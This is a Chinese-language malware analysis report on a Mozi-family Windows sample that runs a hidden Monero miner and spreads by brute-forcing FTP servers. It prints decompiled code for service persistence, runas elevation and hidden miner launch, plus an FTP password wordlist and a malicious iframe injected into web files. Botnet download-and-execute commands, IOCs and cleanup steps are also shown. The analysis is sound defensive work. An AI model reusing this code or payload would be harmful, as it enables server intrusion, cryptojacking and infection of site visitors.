新型活躍Mozi樣本分析報告


基本信息

對象
文件名 Photo.scr
文件類型 PE32 executable for MS Windows (GUI) Intel 80386 32-bit
文件大小 6271259 bytes
MD5 a20727b81b50a20483ba59ae65443dfe
SHA256 af94ddf7c35b9d9f016a5a4b232b43e071d59c6beb1560ba76df20df7b49ca4c
其它信息 \
對象
文件名 HelpPane.exe
文件類型 PE32 executable for MS Windows (GUI) Intel 80386 32-bit
文件大小 6271259 bytes
MD5 a20727b81b50a20483ba59ae65443dfe
SHA256 af94ddf7c35b9d9f016a5a4b232b43e071d59c6beb1560ba76df20df7b49ca4c
其它信息 \
對象
文件名 xmrig.exe
文件類型 PE32 executable for MS Windows (console) Intel 80386 32-bit
文件大小 1905664 bytes
MD5 13bdd9cd9f7e51746172996262b5a873
SHA256 4bf737b29ff521bc263eb1f2c1c5ea04b47470cccd1beae245d98def389929bd
其它信息 UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub

動態分析

進程信息

image-20211017173907228

網絡信息

DNS記錄

domain IP
dht.transmissionbt.com 87.98.162.88、212.129.33.59
router.bittorrent.com 67.215.246.10
router.utorrent.com 82.221.103.244
bttracker.debian.org 130.239.18.159
xmr.crypto-pool.fr 163.172.226.137

連接記錄

IP Port 反查domain 發起進程名
20.73.194.208 443 \ \
163.172.226.137 3333 xmr.crypto-pool.fr xmrig.exe
20.73.194.208 443 \ svchost.exe
20.73.194.208 443 \ \
65.0.126.237 21 \ HelpPane.exe
14.95.85.66 21 \ HelpPane.exe
31.16.135.42 21 \ HelpPane.exe
109.72.121.23 21 \ HelpPane.exe
109.72.121.23 21 \ HelpPane.exe

python打包程序反編譯

image-20211017173557617

可以很明顯看到是Python打包的程序,反編譯流程為pyinstxtractor+uncompyle6(Python2.7)

反編譯

拿到解壓后的文件,找到ftpcrack.pyc,對比struct.pyc,替換第一行頭部信息為

03 F3 0D 0A 70 79 69 30  63 00 00 00 00 00 00 00  00 3E 00 00 00 40 00 00  00 73 A7 08 00 00 64 00

反匯編字節碼文件得到

服務啟動

參數與服務判斷

if sys.argv == 1: # 參數數量為1
	argvs = ''
else:
	argvs = ('').join(sys.argv[1:])
if is_exists(Servicename) and len(sys.argv) == 1: # 情況1:FTP服務開啟&參數數量為1
... ...
elif len(sys.argv) >= 2: # 情況2:參數數量不小於2
... ...
elif is_admin():
... ...
elif sys.version_info[0] == 3: # 情況3:管理員啟用
... ...
else: # 情況3:其它情況

服務信息

class PythonService(win32serviceutil.ServiceFramework):
    # 服務名
    _svc_name_ = Servicename
    # 服務顯示名稱
    _svc_display_name_ = 'Application State ftp Service'
    # 服務描述
    _svc_description_ = 'Application Support State ftp Service'

    def __init__(self, args):
        win32serviceutil.ServiceFramework.__init__(self, args)
        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
        self.run = True
        return

    def SvcDoRun(self):
        while self.run:
            main()

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)
        self.run = False

情況1:FTP服務開啟&參數數量1

判斷指定服務是否存在

def is_exists(name):
    """windows\xb7\xfe\xce\xf1\xca\xc7\xb7\xf1\xd2\xd1\xb0\xb2\xd7\xb0"""
    # 獲取計算機上所有服務
    scm = win32service.OpenSCManager(None, None, win32service.SC_MANAGER_ENUMERATE_SERVICE)
    # 獲取狀態信息
    statuses = win32service.EnumServicesStatus(scm, win32service.SERVICE_WIN32, win32service.SERVICE_STATE_ALL)
    # 判斷是否有指定服務
    for short_name, desc, status in statuses:
        if short_name == name:
            return True

    return False

啟用木馬程序,替代StateftpService服務

try:
    # 獲取木馬程序路徑,注冊服務信息,啟動木馬程序
    evtsrc_dll = os.path.abspath(servicemanager.__file__)
    servicemanager.PrepareToHostSingle(PythonService)
    servicemanager.Initialize(Servicename, evtsrc_dll)
    servicemanager.StartServiceCtrlDispatcher()
except win32service.error as details: 
    # 如果因為無權限執行
    if details[0] == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT:
        # 如果是管理員,將程序拷貝到管理員目錄下執行(例如:C:\\Users\\Hk_Mayfly)
        if is_admin():
            commonfile = os.environ['USERPROFILE']
            os.popen('copy /y ' + os.path.realpath(sys.argv[0]) + ' ' + commonfile + '\\HelpPane.exe')
            if is_stop(Servicename):
                os.popen(commonfile + '\\HelpPane.exe start')
        # 如果非管理員,計算機上python版本為3.x,執行下面這句,以管理員身份執行,2.x版本需要轉unicode
        elif sys.version_info[0] == 3:
            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
        else:
            ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)

情況2:輸入參數啟動

PS:這老哥直接copy的網上代碼,就說代碼還很規范,看樣子應該是國內的~

參數說明

1.安裝服務
python PythonService.py install

2.讓服務自動啟動
python PythonService.py --startup auto install 

3.啟動服務
python PythonService.py start

4.重啟服務
python PythonService.py restart

5.停止服務
python PythonService.py stop

6.刪除/卸載服務
python PythonService.py remove

elif len(sys.argv) >= 2:  # 參數數量不小於2
    # /s 表示將樣本程序設置為自啟動
    if sys.argv[1].lower() == '/s':
        if is_admin():
            commonfile = os.environ['USERPROFILE']
            os.popen('copy /y ' + os.path.realpath(sys.argv[0]) + ' ' + commonfile + '\\HelpPane.exe')
            os.popen(commonfile + '\\HelpPane.exe --startup auto install')
            os.popen(commonfile + '\\HelpPane.exe start')
        elif sys.version_info[0] == 3:
            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
        else:
            ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)
    if sys.argv[1].lower() == '--startup' or sys.argv[1].lower() == 'install' or sys.argv[1].lower() == 'start' or sys.argv[1].lower() == 'remove':
        if is_admin():
            win32serviceutil.HandleCommandLine(PythonService)
        elif sys.version_info[0] == 3:
            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
        else:
            ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)

情況3:管理員啟用

直接將木馬copy到管理員目錄下執行

commonfile = os.environ['USERPROFILE']
os.popen('copy /y ' + os.path.realpath(sys.argv[0]) + ' ' + commonfile + '\\HelpPane.exe')
os.popen(commonfile + '\\HelpPane.exe --startup auto install')
os.popen(commonfile + '\\HelpPane.exe start')

情況4、5:根據python版本啟用

python 3.x 管理員權限執行

ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)

python 2.x 管理員權限執行

ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)

啟動配置挖礦樣本

首先拿構造IP池,大致過程就是拿出所有非本地網卡的IP地址,如:172.45.6.0,再拿出掩碼長度組成IP段,例如:172.45.6.0/24

RANDOM_IP_POOL = get_local_ipaddr()
def getmask(netmask):
    result = ''
    for num in netmask.split('.'):
        temp = str(bin(int(num)))[2:]
        result = result + temp
    return str(len(('').join(str(result).split('0')[0:1])))
def get_local_ipaddr():
    resultsip = []
    for i in netifaces.interfaces():
        info = netifaces.ifaddresses(i)
        if netifaces.AF_INET not in info:
            continue
        if info[netifaces.AF_INET][0]['addr'].encode('raw_unicode_escape') != '127.0.0.1':
            resultsip.append(info[netifaces.AF_INET][0]['addr'].encode('raw_unicode_escape') + '/' + getmask(info[netifaces.AF_INET][0]['netmask'].encode('raw_unicode_escape')))
    return resultsip

根據系統殺掉本地的挖礦進程,nt->Windowsposix->Linux

def killminer():
    pids = psutil.pids()
    for pid in pids:
        p = psutil.Process(pid)
        cmds = getProperty(p, 'cmdline')
        if pid != os.getpid():
            if p.name().lower().find('xmr') >= 0 or p.name().lower().find('miner') >= 0 or (' ').join(cmds).lower().find('pool') >= 0 or (' ').join(cmds).lower().find('xmr') >= 0 or (' ').join(cmds).lower().find('miner') >= 0 or (' ').join(cmds).lower().find('tcp://') >= 0 or (' ').join(cmds).lower().find('stratum') >= 0:
                if os.name == 'nt':
                    cmd = 'taskkill /pid ' + str(pid) + ' /f'
                    os.popen(cmd)
                elif os.name == 'posix':
                    cmd = 'kill ' + str(pid)
                    os.popen(cmd)

將挖礦程序xmrig.exe連同配置文件config.json放到C盤臨時目錄運行

os.popen('copy /y ' + res_path + 'xmrig.exe ' + tmp + '\\xmrig.exe')os.popen('copy /y ' + res_path + 'config.json ' + tmp + '\\config.json')
time.sleep(3)
info = subprocess.STARTUPINFO()
info.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOW
info.wShowWindow = subprocess.SW_HIDE
proc = subprocess.Popen(tmp + '\\xmrig.exe', startupinfo=info)
subprocess.STARTF_USESHOWWINDOW指明 STARTUPINFO.wShowWindow 屬性包含額外的信息。subprocess.CREATE_NEW_CONSOLE新的進程將有新的控制台,而不是繼承父進程的(默認)控制台。

轉存文件到TEMP目錄

hb = binascii.a2b_hex(lnk)
tmplnk = tmp + '\\link.txt'
flink = open(tmplnk, 'w')
flink.write(hb)flink.close()
filename = tmp + '\\config'
open(tmp + '\\config', 'w').close()

配置bot節點信息

啟動兩個線程

t1 = Thread(target=prockad, args=('kad', ))
t1.start()
t2 = Thread(target=config, args=('config', ))
t2.start()
def prockad(x):
    global dll
    kadfile = 'back.jpg'
    try:
        dll = CDLL(kadfile)
        dll._Z7GetConfPc('')
    except Exception as e:
        pass

啟動back.jpg

back.jpg

image-20211020004725428

這是一個32位DLL文件,經過UPX加殼

對象
文件名 back.jpg
文件類型 PE32 executable for MS Windows (DLL) (console) Intel 80386
文件大小 47107 bytes
MD5 4ae078dd5085e97d3605f20dc079412a
SHA256 ed551536ff22587cdf7701a279e088eb370a4121e7a3fa1f3c8b121e767318a2
其它信息 UPX

Config配置文件

在這里看到有打開之前轉存到TEMP目錄下的Config文件

image-20211022222248074

向上回溯,發現兩處信息

bot Config信息

脫殼后打開

image-20211021092843229

這里看到了內嵌的Config信息

image-20211021092932588

拿到內嵌Config信息[ss]ftp[/ss][cpu].2[/cpu][hp]88888888[/hp],同時上面的1:v4:說明這是個Mozi家族的惡意樣本,用以區分DHT節點和Mozi節點流量(有表示為Mozi節點,會同步Config信息)。

這些應該是節點通訊的一些命令

image-20211021094408942

ECDSA384:Config字段合法性驗證

image-20211022220935606

public_key1

4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F 69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B 38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1

public_key2

4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88

配置bot節點信息

這里是回溯的第二處信息

image-20211022223218890

接着,生成硬編碼節點ID

image-20211022223334989

最終得到硬編碼ID:88888888:ad2:id2bo

其它

dht.transmissionbt.com:6881router.bittorrent.com:6881router.utorrent.com:6881bttracker.debian.org:6881

解析Config文件命令

這個線程主要解析從其它bot發來的指令(存入config中)

標簽 作用
[mdf][/mdf] 下載指定惡意鏈接的程序,保存到tmp目錄
[mdr][/mdr] 下載指定惡意鏈接的程序,並執行
[mud][/mud] 下載挖礦病毒更新程序,並執行更新命令(會創建一個upgrade.bat文件)
[mrn][/mrn] 執行指定命令
def config(x):
    filename = tmp + '\\config'
    ...
	content = GetMiddleStr(congfigs, '[mdf]', '[/mdf]')
 	...
    content = GetMiddleStr(congfigs, '[mdr]', '[/mdr]')
	...
    content = GetMiddleStr(congfigs, '[mud]', '[/mud]')
 	...
    content = GetMiddleStr(congfigs, '[mrn]', '[/mrn]')
	...

FTP Crack

隨機IP獲取

隨機獲取3000個非局域網IP地址

ip_list = []
m_count = 200
ping = True
for i in range(1, 3000):
    ip_list.append(randomip())
def randomip():
    ip = 'null'
    while True:
        ip0 = random.randint(1, 254)
        ip1 = random.randint(0, 255)
        ip2 = random.randint(0, 255)
        ip3 = random.randint(0, 255)
        ip = str(ip0) + '.' + str(ip1) + '.' + str(ip2) + '.' + str(ip3)
        if ip0 == 10 or ip0 == 127:
            ip = 'null'
        elif ip0 == 100 and ip1 >= 64 and ip1 <= 127:
            ip = 'null'
... ...

再往IP列表中添加本機IP地址列表

iplist.append(get_random_ip())

獲取存活IP

iplist = get_ac_ip(iplist)
def get_ac_ip(ip_list):
    try:
        s = Nscan()
        ipPool = set(ip_list)
        return s.mPing(ipPool)
    except Exception as e:
        return ip_list```

```python
class Nscan:
    def __init__(self, timeout=3):
	...
    
    @property
    def __icmpSocket(self):
    	  """創建ICMP Socket"""
	...
    
    def __inCksum(self, packet):
        """ICMP報文校驗和計算方法"""
	...
    
    @property
    def __icmpPacket(self):
    	  """構造ICMP報文"""
	...
    
    def mPing(self, ipPool):
    	  """利用ICMP報文探測網絡主機存活"""
 	...

主機信息探測

image-20211022231623030

FTP爆破

有個Crack類,含有所有的功能

USER_DIC = {'ftp': [
         'www', 'anonymous', 'admin', 'Admin', 'root', 'db', 'wwwroot', 'data', 'web', 'ftp', 'administrator', 'user', 'user123', 'test', 'www-data'], 
   'ssh': [
         'root', 'admin']}
PASSWORD_DIC = [
 'anonymous', '123456', 'admin', 'root', 'password', '123123', '123', 'pass1234', '{user}', '{user}{user}', '{user}1', '{user}123',
 '{user}2016', '{user}2015', '{user}!', '', 'P@ssw0rd!!', 'qwa123', '12345678', 'test', '123qwe!@#', '123456789', '123321', '1314520', '159357',
 '{user}2017', '666666', 'woaini', 'fuckyou', '000000', '1234567890', '8888888', 'qwerty', '1qaz2wsx', 'abc123', 'abc123456', '1q2w3e4r', '123qwe',
 '{user}2019', '{user}2018', 'p@ssw0rd', 'p@55w0rd', 'password!', 'p@ssw0rd!', 'password1', 'r00t', 'tomcat', '5201314', 'system', 'pass', '1234',
 '12345', '1234567', 'devry', '111111', 'admin123', 'derok010101', 'windows', 'email@email.com', 'qazxswedc`123', 'qwerty123456', 'qazxswedc']

上傳病毒文件

上傳Photo.scrVideo.scrAV.scrPhoto.lnkVideo.lnkAV.lnk文件

惡意代碼植入

  1. 將遠程FTP服務器中所有文件結尾為:.html .htm .php .asp .stm .dhtm .phtm .xht .mht .htx .aspx .jsp .cgi .shtm .xml 下載到本地tmp目錄
  2. 隨機重命名文件,命名規則: ('').join(random.sample('zyxwvutsrqponmlkjihgfedcba', 5)) + val
  3. 讀取下載下來的文件,若文件中沒有惡意代碼塊<iframe src=Photo.scr width=1 height=1 frameborder=0>,則在文件內尾部加入<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>,以在網頁中植入惡意程序
  4. 上傳文件到遠程服務器,並刪除本地文件

其它信息

解包出來的文件還有一個config.json

{
    "algo": "cryptonight",
    "api": {
        "port": 0,
        "access-token": null,
        "id": null,
        "worker-id": null,
        "ipv6": false,
        "restricted": true
    },
    "autosave": true,
    "av": 0,
    "background": true,
    "colors": true,
    "cpu-affinity": null,
    "cpu-priority": null,
    "donate-level": 1,
    "huge-pages": true,
    "hw-aes": null,
    "log-file": null,
    "max-cpu-usage": 70,
    "pools": [
        {
            "url": "xmr.crypto-pool.fr:3333",
            "user": "47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "variant": -1,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null
        }
    ],
    "print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "safe": false,
    "threads": [
        {
            "low_power_mode": 1,
            "affine_to_cpu": false
        },
        {
            "low_power_mode": 1,
            "affine_to_cpu": false
        }
    ],
    "user-agent": null,
    "watch": true
}

從這可以看出,惡意樣本,設置cpu最大利用率70%,便於隱藏。

礦池:xmr.crypto-pool.fr:3333

錢包地址:47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV

IOC信息

# md5
a20727b81b50a20483ba59ae65443dfe
13bdd9cd9f7e51746172996262b5a873
4ae078dd5085e97d3605f20dc079412a

# domain
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881

# 礦池
xmr.crypto-pool.fr:3333

# ip
87.98.162.88
212.129.33.59
67.215.246.10
82.221.103.244
130.239.18.159
163.172.226.137
163.172.226.137:3333

# 錢包地址
47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
標簽 作用
[mdf][/mdf] 下載指定惡意鏈接的程序,保存到tmp目錄
[mdr][/mdr] 下載指定惡意鏈接的程序,並執行
[mud][/mud] 下載挖礦病毒更新程序,並執行更新命令(會創建一個upgrade.bat文件)
[mrn][/mrn] 執行指定命令
弱密碼
[
 'anonymous', '123456', 'admin', 'root', 'password', '123123', '123', 'pass1234', '{user}', '{user}{user}', '{user}1', '{user}123',
 '{user}2016', '{user}2015', '{user}!', '', 'P@ssw0rd!!', 'qwa123', '12345678', 'test', '123qwe!@#', '123456789', '123321', '1314520', '159357',
 '{user}2017', '666666', 'woaini', 'fuckyou', '000000', '1234567890', '8888888', 'qwerty', '1qaz2wsx', 'abc123', 'abc123456', '1q2w3e4r', '123qwe',
 '{user}2019', '{user}2018', 'p@ssw0rd', 'p@55w0rd', 'password!', 'p@ssw0rd!', 'password1', 'r00t', 'tomcat', '5201314', 'system', 'pass', '1234',
 '12345', '1234567', 'devry', '111111', 'admin123', 'derok010101', 'windows', 'email@email.com', 'qazxswedc`123', 'qwerty123456', 'qazxswedc'
]

處理意見

  1. 刪除本地惡意樣本Photo.scr
  2. 刪除臨時文件目錄下xmrig.execonfig.jsonlink.txtconfigHelpPane.exeupdater.exeupdater
  3. 刪除upgrade.batVideo.scrAV.scrPhoto.lnkVideo.lnkAV.lnk
  4. 殺掉包含以上文件名的進程
  5. 查找所有后綴為.html .htm .php .asp .stm .dhtm .phtm .xht .mht .htx .aspx .jsp .cgi .shtm .xml的文件,去除<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>代碼片段
  6. 因為可能通過命令下載其它惡意程序,所以建議再使用騰訊電腦管家掃描一遍電腦。
  7. 關閉212121端口
  8. 修改FTP服務登錄密碼


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM